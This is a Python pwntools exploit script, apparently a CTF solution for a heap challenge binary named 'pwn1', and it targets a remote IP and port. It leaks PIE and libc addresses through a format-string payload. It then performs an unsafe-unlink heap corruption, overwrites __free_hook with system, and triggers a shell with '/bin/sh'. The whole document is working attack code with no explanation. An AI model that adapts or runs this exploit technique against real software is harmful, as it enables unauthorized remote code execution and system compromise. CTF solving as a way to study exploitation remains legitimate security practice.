1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("pwn1") lib = 0 sh = 0 def pwn(ip,port,debug): global lib global sh if(debug == 1): sh = process("./pwn1") lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: sh = remote(ip,port) lib = ELF("libc-2.23.so") pop_rdi_ret = elf.search(asm("pop rdi\nret")).next() pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next() def add(idx,size,content): sh.sendlineafter(":","1") sh.sendlineafter(":",str(idx)) sh.sendlineafter(":",str(size)) sh.sendlineafter(":",content) def edit(idx,content): sh.sendlineafter(":","4") sh.sendlineafter(":",str(idx)) sh.sendlineafter(":",content) def free(idx): sh.sendlineafter(":","2") sh.sendlineafter(":",str(idx)) chunk_list = 0x202060 payload = '%14$pAA%2$pB' sh.sendlineafter(":",payload) sh.recvuntil("Hello, ") pie = int(sh.recvuntil("AA",True),16) - (0x55d7eaef1200 - 0x55d7eaef0000) libc = int(sh.recvuntil("B",True),16) - lib.symbols['__malloc_initialize_hook'] + 0x30 __free_hook = libc + lib.symbols['__free_hook'] system = libc + lib.symbols['system'] add(0,0x88,'\x11' * 0x87) add(1,0xF8,'\x12' * 0xF7) add(2,0x18,'\x13' * 0x17) free(0) payload = p64(0) + p64(0x81) + p64(pie + chunk_list - 0x18) + p64(pie + chunk_list - 0x10) payload = payload.ljust(0x80,'\x00') payload += p64(0x80) add(0,0x88,payload) free(1) payload = p64(0) * 3 + p64(__free_hook - 8) + p64(0x100) payload += p64(__free_hook - 8) + p64(0x100) edit(0,payload) edit(0,'/bin/sh\x00' + p64(system)) free(0) sh.interactive() if __name__ == "__main__": pwn("47.108.135.45",20023,0)
|